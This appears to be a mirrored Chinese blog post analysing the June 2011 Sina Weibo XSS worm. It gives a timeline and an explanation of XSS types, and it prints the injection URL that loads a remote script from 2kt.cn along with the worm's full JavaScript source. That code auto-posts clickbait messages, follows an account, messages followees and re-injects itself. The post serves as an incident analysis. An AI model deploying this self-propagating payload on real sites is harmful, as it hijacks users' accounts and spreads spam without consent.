新浪微博XSS攻击事件
http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。
事件的经过线索如下:
- 20:14,开始有大量带V的认证用户中招转发蠕虫
- 20:30,2kt.cn中的病毒页面无法访问
- 20:32,新浪微博中hellosamy用户无法访问
- 21:02,新浪漏洞修补完毕
新浪微博XSS事件
- 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
- 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。
这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:
- http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL链接中的其实就是
< script src="//www.2kt.cn/images/t.js"></script>
其它
- 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
- 史上最著名的XSS攻击是Yahoo Mail 的Yamanner蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
- 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
- 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)
- function createXHR(){
- return window.XMLHttpRequest?
- new XMLHttpRequest():
- new ActiveXObject("Microsoft.XMLHTTP");
- }
- function getappkey(url){
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false);
- xmlHttp.send();
- result = xmlHttp.responseText;
- id_arr = '';
- id = result.match(/namecard=/"true/" title=/"[^/"]*/g);
- for(i=0;i<id.length;i++){
- sum = id[i].toString().split('"')[3];
- id_arr += sum + '||';
- }
- return id_arr;
- }
- function random_msg(){
- link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
- var msgs = [
- '郭美美事件的一些未注意到的细节:',
- '建党大业中穿帮的地方:',
- '让女人心动的100句诗歌:',
- '3D肉团团高清普通话版种子:',
- '这是传说中的神仙眷侣啊:',
- '惊爆!范冰冰艳照真流出了:',
- '杨幂被爆多次被潜规则:',
- '傻仔拿锤子去抢银行:',
- '可以监听别人手机的软件:',
- '个税起征点有望提到4000:'];
- var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
- msg = encodeURIComponent(msg);
- return msg;
- }
- function post(url,data,sync){
- xmlHttp = createXHR();
- xmlHttp.open("POST",url,sync);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(data);
- }
- function publish(){
- url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
- data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
- post(url,data,true);
- }
- function follow(){
- url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
- data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
- post(url,data,true);
- }
- function message(){
- url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
- ids = getappkey(url);
- id = ids.split('||');
- for(i=0;i<id.length - 1 & i<5;i++){
- msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
- msg = random_msg();
- msg = encodeURIComponent(msg);
- user = encodeURIComponent(encodeURIComponent(id[i]));
- data = 'content=' + msg + '&name=' + user + '&retcode=';
- post(msgurl,data,false);
- }
- }
- function main(){
- try{
- publish();
- }
- catch(e){}
- try{
- follow();
- }
- catch(e){}
- try{
- message();
- }
- catch(e){}
- }
- try{
- x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
- }
- catch(e){}
- main();
- var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
新浪微博XSS攻击事件的更多相关文章
- 新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)
function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Mi ...
- XSS第四节,XSS攻击实例(一)
在开始实例的讲解之前,先看一下XSS的危害情况,第一张图中说明和XSS相关的CVE漏洞有7417个(http://web.nvd.nist.gov/view/vuln/search-results?q ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- WEB安全测试之XSS攻击
目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...
- Web 安全之 XSS 攻击与防御
前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...
- 前端安全系列(一):如何防止XSS攻击?
原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...
- XSS 防范XSS 攻击的措施
XssSniper--0KEE TEAM XssSniper--0KEE TEAM XssSniper 扩展介绍 一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发 ...
- 转:前端安全之XSS攻击
前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...
- 【网络安全】给你讲清楚什么是XSS攻击
给你讲清楚什么是XSS攻击 1. 什么是XSS攻击 跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS) ...
随机推荐
- bzoj 1303: [CQOI2009]中位数图 数学
1303: [CQOI2009]中位数图 Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://www.lydsy.com/JudgeOnline/ ...
- python相对包导入报“Attempted relative import in non-package”错误
文章是从stackoverflow翻译过来的,原文地址:Relative imports for the billionth time 本文要在原理上解决 python当中相对包导入出现的问题. 问 ...
- When to use static method in a java class
First , please understand its feature : * no need to instantiate a instance, i.e. simply you can jus ...
- switch语句的基本使用
switch是一个多分支的选择语句. 1.基本格式: switch(整型表达式){ case 整型字面量: ...... default : } 解释: 1)整型字面量可 ...
- erlang 大神
http://blog.csdn.net/erlib/article/details/46655905
- [转]Oracle dblink调用函数报ORA-00904 标识符无效
新建oracle的database link时,提示错误“ORA-12169: TNS: 指定为连接标识符的 Net 服务名太长”, 网上查了下,是因为目标oracle是集群,连接字符串过长,超过25 ...
- Python学习(四)数据结构 —— str
Python 字符串 str 本章大致介绍了 Python 的字符串类型 str,包括字符串的赋值及转义.字符串运算符.字符串格式化输出 以及 一些字符串的内建函数等. 字符串赋值及转义 我们可以使用 ...
- TensorFlow进阶(六)---模型保存与恢复、自定义命令行参数
模型保存与恢复.自定义命令行参数. 在我们训练或者测试过程中,总会遇到需要保存训练完成的模型,然后从中恢复继续我们的测试或者其它使用.模型的保存和恢复也是通过tf.train.Saver类去实现,它主 ...
- Tensorflow 之 name/variable_scope 变量管理
name/variable_scope 的作用 充分理解 name / variable_scope TensorFlow 入门笔记 当一个神经网络比较复杂.参数比较多时,就比较需要一个比较好的方式来 ...
- JavaScript获得页面区域大小的代码
var Client = { viewportWidth: function() { return self.innerWidth || (document.documentE ...